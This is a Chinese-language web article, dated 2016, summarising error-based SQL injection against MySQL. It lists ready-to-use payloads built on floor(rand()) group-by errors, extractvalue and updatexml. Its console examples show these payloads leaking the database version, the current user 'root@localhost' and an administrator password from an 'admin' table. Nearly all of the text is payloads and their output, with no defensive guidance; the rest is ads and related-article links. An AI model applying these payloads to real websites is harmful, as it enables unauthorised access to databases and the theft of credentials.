mysql 注入报错利用方法总结

  发布时间:2016-10-08 15:40:27   作者:佚名   我要评论
这篇文章主要介绍了mysql 注入报错利用方法总结的相关资料,需要的朋友可以参考下
(福利推荐:【腾讯云】服务器最新限时优惠活动,云服务器1核2G仅99元/年、2核4G仅768元/3年,立即抢购>>>:9i0i.cn/qcloud

(福利推荐:你还在原价购买阿里云服务器?现在阿里云0.8折限时抢购活动来啦!4核8G企业云服务器仅2998元/3年,立即抢购>>>:9i0i.cn/aliyun

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2)));

举例如下:

首先进行正常查询:

mysql> select * from article where id = 1;

+—-+——-+———+

| id | title | content |

+—-+——-+———+

| 1 | test | do it |

+—-+——-+———+

假如id输入存在注入的话,可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

ERROR 1062 (23000): Duplicate entry ‘5.1.33-community-log1’ for key ‘group_key’

可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。

例如我们需要查询管理员用户名和密码:

Method1:

mysql> select * from article where id = 1 and (select 1 from (select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x from information_schema.tables group by x)a);

ERROR 1062 (23000): Duplicate entry ‘admin8881’ for key ‘group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),floor(rand(0)*2)));

ERROR 1062 (23000): Duplicate entry ‘admin8881’ for key ‘group_key’

2、ExtractValue

测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–

ERROR 1105 (HY000): XPATH syntax error: ‘\admin888’

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ‘:root@localhost’

相关文章

  • SQL注入黑客防线网站实例分析

    这篇文章主要介绍了SQL注入黑客防线网站实例分析,需要的朋友可以参考下
    2017-05-19
  • ASP+PHP 标准sql注入语句(完整版)

    这里为大家分享一下sql注入的一些语句,很多情况下由于程序员的安全意识薄弱或基本功不足就容易导致sql注入安全问题,建议大家多看一下网上的安全文章,最好的防范就是先学
    2017-05-19
  • SQL注入攻击(攻击与防范)

    SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入
    2016-05-21
  • SQL注入测试实例分析

    这篇文章主要为大家介绍了SQL注入测试实例分析,对于数据库安全非常重要,需要的朋友可以参考下
    2014-08-06
  • Sqlmap注入技巧集锦

    sqlmap 是一个自动SQL 射入工具。本文收集了一些利用Sqlmap做注入测试的TIPS,其中也包含一点绕WAF的技巧,便于大家集中查阅,欢迎接楼补充、分享。
    2014-07-29
  • SQL注入攻防入门详解 [图文并茂] 附示例下载

    毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱,事实上是没机会接触相关开发……必须的各种借口。这几天把sql注入
    2012-11-06
  • Java防止SQL注入的几个途径

    java防SQL注入,最简单的办法是杜绝SQL拼接,SQL注入攻击能得逞是因为在原有SQL语句中加入了新的逻辑
    2012-08-10
  • 防止SQL注入攻击的一些方法小结

    SQL注入攻击的危害性很大。在讲解其防止办法之前,数据库管理员有必要先了解一下其攻击的原理。这有利于管理员采取有针对性的防治措施
    2012-07-10
  • web 页面 一些sql注入语句小结

    web 页面 一些sql注入语句小结,对于开发人员来说一定要注意的事项。
    2012-03-12
  • 手动mysql 高级注入实例分析

    为了 方便 自己随手写了个 sql.php注入点 。经典的 id没有过滤 造成 sql语句带入参数 形成注入, 对了 大家导入test.sql 这个数据库文件吧
    2010-08-04

最新评论

?


http://www.vxiaotou.com